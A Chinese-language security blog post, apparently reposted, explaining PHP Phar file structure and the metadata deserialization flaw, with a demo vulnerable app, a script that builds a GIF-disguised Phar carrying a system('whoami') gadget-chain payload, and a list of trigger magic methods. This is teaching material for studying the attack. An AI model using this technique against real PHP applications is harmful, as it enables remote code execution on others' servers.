Phar反序列化
文章目录 文件结构stubmanifestcontentssignature反序列化利用示例 Phar是打包的PHP文件,跟Java 2020-08-19 18:43:01 Author: hosch3n.github.io(查看原文) 阅读量:100 收藏

文章目录

Phar是打包的PHP文件,跟Java的JAR包类似。通过文件类函数和phar://伪协议可以对phar文件进行读写等操作,如果 phar.readonly 为禁用则可以生成phar文件,但出于安全考虑该配置默认为启用。

文件结构

根据官方文档可知,Phar由 stub/manifest/contents/signature 四部分组成。

stub

stub 用于标识phar文件类型,格式为xxx<?php xxx; __HALT_COMPILER();?>(xxx为任意内容)。因为无需以特定标识开头,所以可以结合其它文件头进行伪装:GIF89a<?php __HALT_COMPILER();?>

manifest

该结构存放了一些phar文件的大小长度等属性,包括序列化格式的元数据。

contents

contents 存放压缩后的实际文件内容。

signature

顾名思义该结构用于文件校验,可以是常见的哈希值或密钥签名。

反序列化

因为 manifest 中的 Meta-data 以序列化格式存储,那么读取时必然有反序列化的过程,如果该部分用户可控(如上传phar文件并引用),则存在反序列化漏洞。

  • PHP8.0 改为了不自动反序列化 Meta-data,除非调用了 getMetadata()

利用示例

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
<?php
class Control {
public $call;
function __construct() {
$this->call = new Normal();
}
function __destruct() {
$this->call->action();
}
}

class Normal {
function action() {
echo "ddmddw!";
}
}

class Run {
private $code = "phpinfo();";
function action() {
eval($this->code);
}
}

$path = 'phar://test.phar';
include($path);
file_exists($path);
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
<?php
class Control {
public $call;
function __construct() {
$this->call = new Run();
}
function __destruct() {
$this->call->action();
}
}

class Run {
private $code = "system('whoami');";
function action() {
eval($this->code);
}
}
$object = new Control();


@unlink('test.phar');
$phar = new Phar('test.phar');

$phar->startBuffering();

$phar->addFromString('test.txt', 'text');

$phar->setStub('GIF89a<?php __HALT_COMPILER();?>');

$phar->setMetadata($object);

$phar->stopBuffering();

附上l1nk3r师傅总结的常用魔术方法触发条件:

1
2
3
4
5
6
7
8
9
10
11
__wakeup()      
__sleep()
__destruct()
__call()
__callStatic()
__get()
__set()
__isset()
__unset()
__toString()
__invoke()

文章来源: https://hosch3n.github.io/2020/08/19/Phar%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96/
如有侵权请联系:admin#unsafe.sh